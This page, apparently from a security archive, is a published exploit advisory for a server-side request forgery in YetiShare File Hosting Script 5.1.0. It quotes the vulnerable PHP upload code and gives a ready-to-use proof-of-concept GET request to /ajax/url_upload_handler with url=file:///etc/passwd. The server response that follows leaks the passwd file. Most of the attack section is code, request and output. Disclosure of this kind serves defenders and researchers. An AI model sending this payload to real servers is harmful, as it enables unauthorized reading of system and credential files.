what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

YetiShare File Hosting Script 5.1.0 Server-Side Request Forgery

YetiShare File Hosting Script 5.1.0 Server-Side Request Forgery
Posted Feb 8, 2021
Authored by numan turle

YetiShare File Hosting Script version 5.1.0 suffers from a server-side request forgery vulnerability.

tags | exploit
SHA-256 | 267963706eb600892bf78eae10349bea0978bddee0ad4d5e7923f6769861288d

YetiShare File Hosting Script 5.1.0 Server-Side Request Forgery

Change Mirror Download
# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
# Date: 09.01.2021
# Author: Numan Türle
# Vendor Homepage: https://mfscripts.com
# Software Link: https://yetishare.com
# Version: v5.1.0
# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4


Summary
---------
YetiShare is script the file hosting. This script has remote file upload feature.
Since sufficient security measures are not taken in the remote file upload area,
SSRF vulnerability available.

Description
---------
When a new upload request is received by the user, the following function block
is called first.
app/tasks/process_remote_file_downloads.cron.php
------------------------------------------------
// include plugin code
$url = $urlDownloadData['url'];
$params = PluginHelper::includeAppends('url_upload_handler', array(
'url' => $url,
'rowId' => 0,
'urlDownloadData' => $urlDownloadData,
)
);
$url = $params['url'];

// start download
$upload_handler->handleRemoteUrlUpload($url);
------------------------------------------------

The url parameter received as input from the user in the called function blog is
sent to the "handleRemoteUrlUpload" function.

/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
Uploader.class.php
------------------------------------------------------------------
public function handleRemoteUrlUpload($url, $rowId = 0) {
.....
$remoteFileDetails = $this->getRemoteFileDetails($url);
$remoteFilesize = (int) $remoteFileDetails['bytes'];
if ($remoteFilesize > $this->options['max_file_size']) {
.....ERROR MSG
}
else {
// look for real filename if passed in headers
if (strlen($remoteFileDetails['real_filename'])) {
$realFilename = trim(current(explode(';',
$remoteFileDetails['real_filename'])));
if (strlen($realFilename)) {
$this->fileUpload->name = $realFilename;
}
}

// try to get the file locally
$localFile = $this->downloadRemoteFile($url, true);
------------------------------------------------------------------

In this function that is called, the details of the file are taken first and if
the bytes is not larger than the max_file_size, the "downloadRemoteFile"
function will go to the download.

------------------------------------------------------------------
public function getRemoteFileDetails($url) {
.....
$execute = curl_exec($ch);

// check if any error occured
if (!curl_errno($ch)) {
$rs['bytes'] = (int) curl_getinfo($ch,
CURLINFO_CONTENT_LENGTH_DOWNLOAD);
.....
------------------------------------------------------------------
------------------------------------------------------------------
public function downloadRemoteFile($url, $streamResponse = false) {
.....
// use curl
if (function_exists('curl_init')) {
// get file via curl
$fp = fopen($tmpFullPath, 'w+');
if ($ch === null) {
$ch = curl_init();
}

curl_setopt($ch, CURLOPT_URL, $url);
.....
curl_setopt($ch, CURLOPT_FILE, $fp);
if (curl_exec($ch) === false) {
// log error
LogHelper::error('Failed getting url. Error: '
. curl_error($ch) . ' (' . $url . ')');
return false;
}
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fclose($fp);
.....
}
.....
------------------------------------------------------------------




POC
---------

GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
Host: target.com
Connection: close
Accept: */*
Cookie: HERE_COOKIE



Response
---------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Connection: close
Pragma: no-cache
Content-Length: XXX

...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
"requestUrl":"file:\/\/\/etc\/passwd","url":....



..........
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close